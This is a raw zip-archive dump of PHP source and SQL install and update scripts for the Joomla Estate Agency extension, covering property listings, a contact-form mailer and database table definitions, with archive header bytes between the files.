if (empty(self::$tables[$tableName]) || empty($fieldName) ||
empty($fieldValue))
{
return false;
}
foreach (self::$tables[$tableName] as $row)
{
if (! isset($row->$fieldName))
{
return false;
}
if ($row->$fieldName == $fieldValue)
{
return $row;
}
}
return false;
}
/**
* Get an user. Try to create an user if not found.
*
* @param string $email The user email
* @param string $name The user name
*
* @return integer Return the user id. Return 0 if the user cannot be
created.
*/
public static function getUserId($email = '', $name =
'')
{
if (self::$users == null)
{
$db = JFactory::getDbo();
$db->setQuery('SELECT `id`, `email` FROM `#__users`');
$rows = $db->loadObjectList();
foreach ($rows as $row)
{
self::$users[$row->email] = $row->id;
}
}
if (isset(self::$users[$email]))
{
return self::$users[$email];
}
else
{
$id = self::_createUser($email, $name);
if ($id != false)
{
self::$users[$email] = $id;
return $id;
}
}
return 0;
}
/**
* Create an user
*
* @param string $email The user email
* @param string $name The user name
*
* @return boolean|number return the user id or false if the user cannot
be created
*/
protected static function _createUser($email = '', $name =
'')
{
if (!MailHelper::isEmailAddress($email))
{
return false;
}
$splitMail = explode('@', $email);
$user = new User;
$params = array(
'username' => $splitMail[0] . uniqid(),
'name' => $name,
'email' => $email,
'block' => 0,
'sendEmail' => 0
);
$user->bind($params);
if (true === $user->save())
{
return $user->id;
}
return false;
}
/**
* Convert Unix timestamp to MYSQL date
*
* @param integer $timestamp An UNIX timestamp
* @param boolean $datetime If true return MYSQL DATETIME else return
MYSQL DATE
*
* @return string
*/
protected function _convertTimestampToMysqlDate($timestamp, $datetime =
true)
{
if (is_int($timestamp) && $timestamp > 0)
{
if ($datetime)
{
return date('Y-m-d H:i:s', $timestamp);
}
return date('Y-m-d', $timestamp);
}
return '';
}
}
PKdx�[j�Lr�(�(models/property.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Mail\MailHelper;
/**
* Property model class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @see JModelLegacy
*
* @since 2.0
*/
class JeaModelProperty extends JModelLegacy
{
/**
* Overrides parent method
*
* @return void
*
* @see JModelLegacy::populateState()
*/
protected function populateState()
{
$app = JFactory::getApplication('site');
$this->setState('property.id',
$app->input->get('id', 0, 'int'));
// Load the parameters.
$params = $app->getParams();
$this->setState('params', $params);
// Load the contact form informations
$this->setState('contact.name',
$app->getUserStateFromRequest('contact.name',
'name'));
$this->setState('contact.email',
$app->getUserStateFromRequest('contact.email',
'email'));
$this->setState('contact.telephone',
$app->getUserStateFromRequest('contact.telephone',
'telephone'));
$this->setState('contact.subject',
$app->getUserStateFromRequest('contact.subject',
'subject'));
$this->setState('contact.message',
$app->getUserStateFromRequest('contact.message',
'message'));
$propertyURL = $app->input->get('propertyURL',
'', 'base64');
$this->setState('contact.propertyURL',
base64_decode($propertyURL));
}
/**
* Get the property object
*
* @return stdClass
*
* @throws Exception
*/
public function getItem()
{
static $data;
if ($data != null)
{
return $data;
}
$dispatcher = JDispatcher::getInstance();
// Include the jea plugins for the onBeforeLoadProperty event.
JPluginHelper::importPlugin('jea');
$pk = $this->getState('property.id');
$db = $this->getDbo();
$query = $db->getQuery(true);
$query->select('p.*');
$query->from('#__jea_properties AS p');
// Join properties types
$query->select('t.value AS `type`');
$query->join('LEFT', '#__jea_types AS t ON t.id =
p.type_id');
// Join departments
$query->select('d.value AS department');
$query->join('LEFT', '#__jea_departments AS d ON d.id =
p.department_id');
// Join towns
$query->select('town.value AS town');
$query->join('LEFT', '#__jea_towns AS town ON town.id =
p.town_id');
// Join areas
$query->select('area.value AS area');
$query->join('LEFT', '#__jea_areas AS area ON area.id =
p.area_id');
// Join conditions
$query->select('c.value AS `condition`');
$query->join('LEFT', '#__jea_conditions AS c ON c.id =
p.condition_id');
// Join heating types
$query->select('ht.value AS `heating_type_name`');
$query->join('LEFT', '#__jea_heatingtypes AS ht ON
ht.id = p.heating_type');
// Join hot water types
$query->select('hwt.value AS `hot_water_type_name`');
$query->join('LEFT', '#__jea_hotwatertypes AS hwt ON
hwt.id = p.hot_water_type');
// Join users
$query->select('u.username AS author');
$query->join('LEFT', '#__users AS u ON u.id =
p.created_by');
// Join slogans
$query->select('s.value AS slogan');
$query->join('LEFT', '#__jea_slogans AS s ON s.id =
p.slogan_id');
$query->where('p.id =' . (int) $pk);
$query->where('p.published = 1');
// Filter by access level
$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('p.access IN (' . $groups . ')');
// Filter by start and end dates.
$nullDate = $db->Quote($db->getNullDate());
$nowDate = $db->Quote(JFactory::getDate()->toSql());
$query->where('(p.publish_up = ' . $nullDate . ' OR
p.publish_up <= ' . $nowDate . ')');
$query->where('(p.publish_down = ' . $nullDate . ' OR
p.publish_down >= ' . $nowDate . ')');
$dispatcher->trigger('onBeforeLoadProperty',
array(&$query, &$this->state));
$db->setQuery($query);
$data = $db->loadObject();
if ($error = $db->getErrorMsg())
{
throw new Exception($error);
}
if ($data == null)
{
return false;
}
// Convert images field
$images = json_decode($data->images);
if (! empty($images) && is_array($images))
{
$imagePath = JPATH_ROOT . '/images/com_jea';
$baseURL = JURI::root(true);
foreach ($images as $k => $image)
{
if (file_exists($imagePath . '/images/' . $data->id .
'/' . $image->name))
{
$image->URL = $baseURL . '/images/com_jea/images/' .
$data->id . '/' . $image->name;
// Get thumb min URL
if (file_exists($imagePath . '/thumb-min/' . $data->id .
'-' . $image->name))
{
// If the thumbnail already exists, display it directly
$image->minURL = $baseURL . '/images/com_jea/thumb-min/'
. $data->id . '-' . $image->name;
}
else
{
// If the thumbnail doesn't exist, generate it and output it on
the fly
$image->minURL =
'index.php?option=com_jea&task=thumbnail.create&size=min&id='
. $data->id . '&image=' . $image->name;
}
// Get thumb medium URL
if (file_exists($imagePath . '/thumb-medium/' . $data->id
. '-' . $image->name))
{
// If the thumbnail already exists, display it directly
$image->mediumURL = $baseURL .
'/images/com_jea/thumb-medium/' . $data->id . '-' .
$image->name;
}
else
{
// If the thumbnail doesn't exist, generate it and output it on
the fly
$image->mediumURL =
'index.php?option=com_jea&task=thumbnail.create&size=medium&id='
. $data->id . '&image=' . $image->name;
}
}
else
{
unset($images[$k]);
}
}
$data->images = $images;
}
return $data;
}
/**
* Get the previous and next item relative to the current
*
* @return array
*/
public function getPreviousAndNext()
{
$item = $this->getItem();
$properties = JModelLegacy::getInstance('Properties',
'JeaModel');
$state = $properties->getState();
$state->set('list.limit', 0);
$state->set('list.start', 0);
$items = $properties->getItems();
$result = array('prev' => null, 'next' =>
null);
$currentIndex = 0;
foreach ($items as $k => $row)
{
if ($row->id == $item->id)
{
$currentIndex = $k;
}
}
if (isset($items[$currentIndex - 1]))
{
$result['prev'] = $items[$currentIndex - 1];
}
if (isset($items[$currentIndex + 1]))
{
$result['next'] = $items[$currentIndex + 1];
}
return $result;
}
/**
* Increment the hit counter for the property.
*
* @param integer $pk Optional primary key of the article to
increment.
*
* @return boolean True if successful; false otherwise and internal error
set.
*/
public function hit($pk = 0)
{
$pk = empty($pk) ? $this->getState('property.id') : (int)
$pk;
$db = $this->getDbo();
$db->setQuery('UPDATE #__jea_properties SET hits = hits + 1 WHERE
id = ' . (int) $pk);
try
{
$db->execute();
}
catch (\RuntimeException $e)
{
JLog::add($e->getMessage(), JLog::ERROR, 'com_jea');
return false;
}
return true;
}
/**
* Send property contact form
*
* @return boolean
*/
public function sendContactForm()
{
$app = JFactory::getApplication();
// Get a JMail instance
$mailer = JFactory::getMailer();
$params = $app->getParams();
$defaultFrom = $mailer->From;
$defaultFromname = $mailer->FromName;
$data = array(
'name' =>
MailHelper::cleanLine($this->getState('contact.name')),
'email' =>
MailHelper::cleanAddress($this->getState('contact.email')),
'telephone' =>
MailHelper::cleanLine($this->getState('contact.telephone')),
'subject' =>
MailHelper::cleanSubject($this->getState('contact.subject')) .
' [' . $defaultFromname . ']',
'message' =>
MailHelper::cleanText($this->getState('contact.message')),
'propertyURL' =>
$this->getState('contact.propertyURL')
);
$dispatcher = JDispatcher::getInstance();
JPluginHelper::importPlugin('jea');
if ($params->get('use_captcha'))
{
$plugin = JFactory::getConfig()->get('captcha');
if ($plugin == '0')
{
$plugin = 'recaptcha';
}
$captcha = JCaptcha::getInstance($plugin);
// Test the value.
if (! $captcha->checkAnswer(''))
{
$error = $captcha->getError();
if ($error instanceof Exception)
{
$this->setError($error->getMessage());
}
else
{
$this->setError($error);
}
}
}
// Check data
if (empty($data['name']))
{
$this->setError(JText::_('COM_JEA_YOU_MUST_TO_ENTER_YOUR_NAME'));
}
if (empty($data['message']))
{
$this->setError(JText::_('COM_JEA_YOU_MUST_TO_ENTER_A_MESSAGE'));
}
if (!MailHelper::isEmailAddress($data['email']))
{
$this->setError(JText::sprintf('COM_JEA_INVALID_EMAIL_ADDRESS',
$data['email']));
}
$result = $dispatcher->trigger('onBeforeSendContactForm',
array($data, &$this));
if (in_array(false, $result, true))
{
return false;
}
if ($this->getErrors())
{
return false;
}
$recipients = array();
$defaultMail = $params->get('default_mail');
$agentMail = '';
if ($params->get('send_form_to_agent') == 1)
{
$item = $this->getItem();
$db = $this->getDbo();
$q = 'SELECT `email` FROM `#__users` WHERE `id`=' . (int)
$item->created_by;
$db->setQuery($q);
$agentMail = $db->loadResult();
}
if (! empty($defaultMail) && ! empty($agentMail))
{
$recipients[] = $defaultMail;
$recipients[] = $agentMail;
}
elseif (! empty($defaultMail))
{
$recipients[] = $defaultMail;
}
elseif (! empty($agentMail))
{
$recipients[] = $agentMail;
}
else
{
// Send to the webmaster email
$recipients[] = $defaultFrom;
}
$body = $data['message'] . "\n";
if (!empty($data['telephone']))
{
$body .= "\n" . JText::_('COM_JEA_TELEPHONE') .
' : ' . $data['telephone'];
}
$body .= "\n" . JText::_('COM_JEA_PROPERTY_URL') .
' : ' . $data['propertyURL'];
$mailer->setBody($body);
$ret = $mailer->sendMail($data['email'],
$data['name'], $recipients, $data['subject'], $body,
false);
if ($ret == true)
{
$app->setUserState('contact.name', '');
$app->setUserState('contact.email', '');
$app->setUserState('contact.telephone', '');
$app->setUserState('contact.subject', '');
$app->setUserState('contact.message', '');
return true;
}
return false;
}
}
PKdx�[����sql/uninstall.mysql.utf8.sqlnu�[���
-- DROP TABLE IF EXISTS `#__jea_advantages`;
-- DROP TABLE IF EXISTS `#__jea_areas`;
-- DROP TABLE IF EXISTS `#__jea_conditions`;
-- DROP TABLE IF EXISTS `#__jea_departments`;
-- DROP TABLE IF EXISTS `#__jea_heatingtypes`;
-- DROP TABLE IF EXISTS `#__jea_hotwatertypes`;
-- DROP TABLE IF EXISTS `#__jea_properties`;
-- DROP TABLE IF EXISTS `#__jea_slogans`;
-- DROP TABLE IF EXISTS `#__jea_towns`;
-- DROP TABLE IF EXISTS `#__jea_types`;
TRUNCATE TABLE `#__jea_tools`;
PKdx�[ԯJ�KKsql/install.mysql.utf8.sqlnu�[���
-- --------------------------------------------------------
--
-- Table schema `#__jea_advantages`
--
CREATE TABLE IF NOT EXISTS `#__jea_amenities` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
`language` char(7) NOT NULL COMMENT 'language where amenity is
shown',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_areas`
--
CREATE TABLE IF NOT EXISTS `#__jea_areas` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`town_id` int(11) NOT NULL default '0',
`ordering` int(11) NOT NULL default '0',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_conditions`
--
CREATE TABLE IF NOT EXISTS `#__jea_conditions` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
`language` char(7) NOT NULL COMMENT 'language where condition is
shown',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_departments`
--
CREATE TABLE IF NOT EXISTS `#__jea_departments` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `name` (`value`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_heatingtypes`
--
CREATE TABLE IF NOT EXISTS `#__jea_heatingtypes` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
`language` char(7) NOT NULL COMMENT 'language where heatingtype is
shown',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_hotwatertypes`
--
CREATE TABLE IF NOT EXISTS `#__jea_hotwatertypes` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
`language` char(7) NOT NULL COMMENT 'language where hotwatertype is
shown',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_properties`
--
CREATE TABLE IF NOT EXISTS `#__jea_properties` (
`id` int(11) NOT NULL auto_increment,
`asset_id` int(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT
'FK to the #__assets table',
`ref` varchar(20) NOT NULL default '',
`title` varchar(255) NOT NULL default '',
`alias` varchar(255) NOT NULL default '',
`transaction_type` ENUM('RENTING', 'SELLING') NOT
NULL default 'SELLING',
`type_id` int(11) NOT NULL default '0',
`price` decimal(12,2) NOT NULL default '0.00',
`rate_frequency` ENUM( 'MONTHLY', 'WEEKLY',
'DAILY' ) NOT NULL default 'MONTHLY',
`address` varchar(255) NOT NULL default '',
`town_id` int(11) NOT NULL default '0',
`area_id` int(11) NOT NULL default '0',
`zip_code` varchar(10) NOT NULL default '',
`department_id` int(11) NOT NULL default '0',
`condition_id` int(11) NOT NULL default '0',
`living_space` int(11) NOT NULL default '0',
`land_space` int(11) NOT NULL default '0',
`rooms` int(11) NOT NULL default '0',
`bedrooms` int(11) NOT NULL default '0',
`charges` decimal(12,2) NOT NULL default '0.00',
`fees` decimal(12,2) NOT NULL default '0.00',
`deposit` decimal(12,2) NOT NULL default '0.00',
`hot_water_type` tinyint(1) NOT NULL default '0',
`heating_type` tinyint(2) NOT NULL default '0',
`bathrooms` tinyint(3) NOT NULL default '0',
`toilets` tinyint(3) NOT NULL default '0',
`availability` date NOT NULL default '0000-00-00',
`floor` int(11) NOT NULL default '0',
`floors_number` int(11) NOT NULL default '0',
`orientation` ENUM('0', 'N', 'NE',
'NW', 'NS', 'E', 'W',
'S', 'SW', 'SE', 'EW') NOT NULL
default '0',
`amenities` varchar(255) NOT NULL default '' COMMENT
'amenities list',
`description` text NOT NULL,
`slogan_id` int(11) NOT NULL default '0',
`published` tinyint(1) NOT NULL default '0',
`access` int(11) NOT NULL default '0',
`ordering` int(11) NOT NULL default '0',
`featured` tinyint(1) NOT NULL default '0',
`created` datetime NOT NULL default '0000-00-00 00:00:00',
`modified` datetime NOT NULL default '0000-00-00 00:00:00',
`publish_up` datetime NOT NULL default '0000-00-00 00:00:00',
`publish_down` datetime NOT NULL default '0000-00-00 00:00:00',
`checked_out` int(11) NOT NULL default '0',
`checked_out_time` datetime NOT NULL default '0000-00-00
00:00:00',
`created_by` int(11) NOT NULL default '0',
`hits` int(11) NOT NULL default '0',
`images` TEXT NOT NULL,
`latitude` varchar(20) NOT NULL default '0',
`longitude` varchar(20) NOT NULL default '0',
`notes` TEXT NOT NULL,
`language` char(7) NOT NULL COMMENT 'language where property is
shown',
`provider` varchar(50) NOT NULL default '' COMMENT 'A
gateway provider name',
PRIMARY KEY (`id`),
KEY `idx_jea_transactiontype` (`transaction_type`),
KEY `idx_jea_typeid` (`type_id`),
KEY `idx_jea_departmentid` (`department_id`),
KEY `idx_jea_townid` (`town_id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_tools`
--
CREATE TABLE IF NOT EXISTS `#__jea_tools` (
`id` int(11) NOT NULL auto_increment,
`title` varchar(255) NOT NULL default '',
`link` varchar(255) NOT NULL default '',
`icon` varchar(255) NOT NULL default '',
`params` TEXT NOT NULL,
`access` TEXT NOT NULL,
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
INSERT INTO `#__jea_tools` (`id` , `title` , `link` , `icon` , `params` ,
`access`)
VALUES
('1', 'com_jea_import',
'index.php?option=com_jea&view=gateways&layout=import',
'download', '',
'[''core.manage'',
''com_jea'', ''core.create'',
''com_jea'']'),
('2', 'com_jea_export',
'index.php?option=com_jea&view=gateways&layout=export',
'upload', '',
'[''core.manage'',
''com_jea'', ''core.create'',
''com_jea'']');
-- --------------------------------------------------------
--
-- Table schema `#__jea_slogans`
--
CREATE TABLE IF NOT EXISTS `#__jea_slogans` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
`language` char(7) NOT NULL COMMENT 'language where slogan is
shown',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_towns`
--
CREATE TABLE IF NOT EXISTS `#__jea_towns` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`department_id` int(11) NOT NULL default '0',
`ordering` int(11) NOT NULL default '0',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_types`
--
CREATE TABLE IF NOT EXISTS `#__jea_types` (
`id` int(11) NOT NULL auto_increment,
`value` varchar(255) NOT NULL default '',
`ordering` int(11) NOT NULL default '0',
`language` char(7) NOT NULL COMMENT 'language where type is
shown',
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
--
-- Table schema `#__jea_gateways`
--
CREATE TABLE IF NOT EXISTS `#__jea_gateways` (
`id` int(11) NOT NULL auto_increment,
`type` varchar(50) NOT NULL default '',
`provider` varchar(50) NOT NULL default '',
`title` varchar(255) NOT NULL default '',
`published` tinyint(1) NOT NULL default '0',
`ordering` int(11) NOT NULL default '0',
`params` TEXT NOT NULL,
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
PKdx�[9� jGGsql/updates/mysql/2.0.sqlnu�[���# Dummy SQL
file to set schema version to 2.0 so next update will work
PKdx�[~x���sql/updates/mysql/2.1.sqlnu�[���ALTER
TABLE `#__jea_properties` CHANGE `orientation` `orientation` ENUM(
'0', 'N', 'NE', 'NW',
'E', 'W', 'S', 'SW', 'SE'
) NOT NULL DEFAULT '0'
PKdx�[~��hsql/updates/mysql/2.2.sqlnu�[���ALTER
TABLE #__jea_properties ADD `publish_down` datetime NOT NULL default
'0000-00-00 00:00:00' AFTER `modified`;
ALTER TABLE #__jea_properties ADD `publish_up` datetime NOT NULL default
'0000-00-00 00:00:00' AFTER `modified`;
ALTER TABLE #__jea_properties ADD `access` int(11) NOT NULL default
'0' AFTER `published`;
UPDATE #__jea_properties SET `publish_up`=`created`, access=1;
PKdx�[w�ިddsql/updates/mysql/2.30.sqlnu�[���ALTER TABLE
`#__jea_properties` CHANGE `department_id` `department_id` INT(11) NOT NULL
DEFAULT '0'
PKdx�[��TA��sql/updates/mysql/3.1.sqlnu�[���ALTER
TABLE `#__jea_properties` CHANGE `orientation` `orientation` ENUM(
'0', 'N', 'NE', 'NW',
'NS', 'E', 'W', 'S',
'SW', 'SE', 'EW' ) NOT NULL DEFAULT
'0'
PKdx�[�/uusql/updates/mysql/3.4.sqlnu�[���UPDATE
`#__jea_tools` SET `title`='com_jea_import',
`link`='index.php?option=com_jea&view=gateways&layout=import',
`icon`='download',
`params`=''
WHERE `title`='com_jea_import_from_jea';
UPDATE `#__jea_tools` SET `title`='com_jea_export',
`link`='index.php?option=com_jea&view=gateways&layout=export',
`icon`='upload',
`params`=''
WHERE `title`='com_jea_import_from_csv';
CREATE TABLE IF NOT EXISTS `#__jea_gateways` (
`id` int(11) NOT NULL auto_increment,
`type` varchar(50) NOT NULL default '',
`provider` varchar(50) NOT NULL default '',
`title` varchar(255) NOT NULL default '',
`published` tinyint(1) NOT NULL default '0',
`ordering` int(11) NOT NULL default '0',
`params` TEXT NOT NULL,
PRIMARY KEY (`id`)
) AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;
ALTER TABLE #__jea_properties ADD `provider` varchar(50) NOT NULL default
'' COMMENT 'A gateway provider name';
PKdx�[��zӴ�tables/gateway.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Gateway table class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 1.0
*/
class TableGateway extends JTable
{
/**
* Constructor
*
* @param JDatabaseDriver $db A database diver object
*/
public function __construct(&$db)
{
parent::__construct('#__jea_gateways', 'id', $db);
}
}
PKdx�[L5M���tables/features.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* FeaturesFactory table class.
* This class provides a way to instantiate a feature table on the fly
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class FeaturesFactory extends JTable
{
/**
* Method to perform sanity checks before to store in the database.
*
* @return boolean True if the instance is sane and able to be stored in
the database.
*/
public function check()
{
// For new insertion
if (empty($this->id))
{
$this->ordering = $this->getNextOrder();
}
return true;
}
}
PKdx�[%Ƌ٢�tables/property.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Property table class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 3.4
*/
class TableProperty extends JTable
{
/**
* Constructor
*
* @param JDatabaseDriver $db A database diver object
*/
public function __construct(&$db)
{
parent::__construct('#__jea_properties', 'id', $db);
}
/**
* Method to compute the default name of the asset.
*
* @see JTable::_getAssetName()
*
* @return string
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_jea.property.' . (int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
*
* @see JTable::_getAssetTitle()
*/
protected function _getAssetTitle()
{
return $this->title;
}
/**
* Method to get the parent asset under which to register this one.
*
* @param JTable $table A JTable object for the asset parent.
* @param integer $id Id to look up
*
* @return integer
*
* @see JTable::_getAssetParentId()
*/
protected function _getAssetParentId(JTable $table = null, $id = null)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_jea');
return $asset->id;
}
/**
* Method to bind an associative array or object to the JTableInterface
instance.
*
* @param mixed $array An associative array or object to bind to the
JTableInterface instance.
* @param mixed $ignore An optional array or space separated list of
properties to ignore while binding.
*
* @return boolean True on success.
*
* @see JTable::bind()
*/
public function bind($array, $ignore = '')
{
// Bind the images.
if (isset($array['images']) &&
is_array($array['images']))
{
$images = array();
foreach ($array['images'] as &$image)
{
$images[] = (object) $image;
}
$array['images'] = json_encode($images);
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Method to perform sanity checks before to store in the database.
*
* @return boolean True if the instance is sane and able to be stored in
the database.
*
* @see JTable::check()
*/
public function check()
{
if (empty($this->type_id))
{
$this->setError(JText::_('COM_JEA_MSG_SELECT_PROPERTY_TYPE'));
return false;
}
// Check the publish down date is not earlier than publish up.
if ($this->publish_down > $this->_db->getNullDate()
&& $this->publish_down < $this->publish_up)
{
$this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));
return false;
}
// Auto Generate a reference if empty
if (empty($this->ref))
{
$this->ref = uniqid();
}
// Alias cleanup
if (empty($this->alias))
{
$this->alias = $this->title;
}
$this->alias = JFilterOutput::stringURLSafe($this->alias);
// Serialize amenities
if (! empty($this->amenities) &&
is_array($this->amenities))
{
// Sort in order to find easily property amenities in sql where clause
sort($this->amenities);
$this->amenities = '-' . implode('-',
$this->amenities) . '-';
}
else
{
$this->amenities = '';
}
// Check availability
if (! preg_match('/^[0-9]{4}-[0-9]{2}-[0-9]{2}/',
trim($this->availability)))
{
$this->availability = '0000-00-00';
}
// Clean description for xhtml transitional compliance
$this->description = str_replace('<br>', '<br
/>', $this->description);
// For new insertion
if (empty($this->id))
{
$user = JFactory::getUser();
$this->ordering = $this->getNextOrder();
$this->created = $this->created ? $this->created :
date('Y-m-d H:i:s');
$this->created_by = $this->created_by ? $this->created_by :
$user->get('id');
}
else
{
$this->modified = date('Y-m-d H:i:s');
}
return true;
}
/**
* Method to delete a row from the database table by primary key value.
*
* @param mixed $pk An optional primary key value to delete.
*
* @return boolean True on success.
*
* @see JTable::check()
*/
public function delete($pk = null)
{
$name = $this->_getAssetName();
$asset = JTable::getInstance('Asset');
// Force to delete even if property asset doesn't exist.
if (! $asset->loadByName($name))
{
$this->_trackAssets = false;
}
return parent::delete($pk);
}
}
PKdx�[g�-�''views/gateway/tmpl/edit.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewGateway
*/
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<form action="" method="post"
id="adminForm" class="form-validate">
<div class="form-horizontal">
<div class="control-group">
<div class="control-label"><?php echo
$this->form->getLabel('title') ?></div>
<div class="controls"><div
class="input-append"><?php echo
$this->form->getInput('title')
?></div></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo
$this->form->getLabel('provider') ?></div>
<div class="controls"><div
class="input-append"><?php echo
$this->form->getInput('provider')
?></div></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo
$this->form->getLabel('published') ?></div>
<div class="controls"><div
class="input-append"><?php echo
$this->form->getInput('published')
?></div></div>
</div>
</div>
<fieldset>
<legend><?php echo
JText::_('COM_JEA_GATEWAY_PARAMS')?></legend>
<?php if (!empty($this->item->id)): ?>
<div class="form-horizontal">
<?php foreach ($this->form->getGroup('params') as
$field) echo $field->renderField() ?>
</div>
<?php else : ?>
<p><?php echo
JText::_('COM_JEA_GATEWAY_PARAMS_APPEAR_AFTER_SAVE')?></p>
<?php endif?>
</fieldset>
<div>
<input type="hidden" name="task"
value="" />
<?php echo $this->form->getInput('id') ?>
<?php echo $this->form->getInput('type') ?>
<?php echo JHtml::_('form.token') ?>
</div>
</form>
PKdx�[O��*DDviews/gateway/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Gateway View
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewGateway extends JViewLegacy
{
/**
* The form object
*
* @var JForm
*/
protected $form;
/**
* The database record
*
* @var JObject|boolean
*/
protected $item;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JeaHelper::addSubmenu('tools');
$this->state = $this->get('State');
$title = JText::_('COM_JEA_GATEWAYS');
$this->item = $this->get('Item');
switch ($this->_layout)
{
case 'edit':
$this->form = $this->get('Form');
JToolBarHelper::apply('gateway.apply');
JToolBarHelper::save('gateway.save');
JToolBarHelper::cancel('gateway.cancel');
$isNew = ($this->item->id == 0);
$title .= ' : ' . ($isNew ?
JText::_('JACTION_CREATE') : JText::_('JACTION_EDIT') .
' : ' . $this->item->title);
break;
}
JToolBarHelper::title($title, 'jea');
parent::display($tpl);
}
}
PKdx�[�#)� views/gateways/tmpl/import.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewGateways
*/
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar?>
</div>
<div id="j-main-container" class="span10">
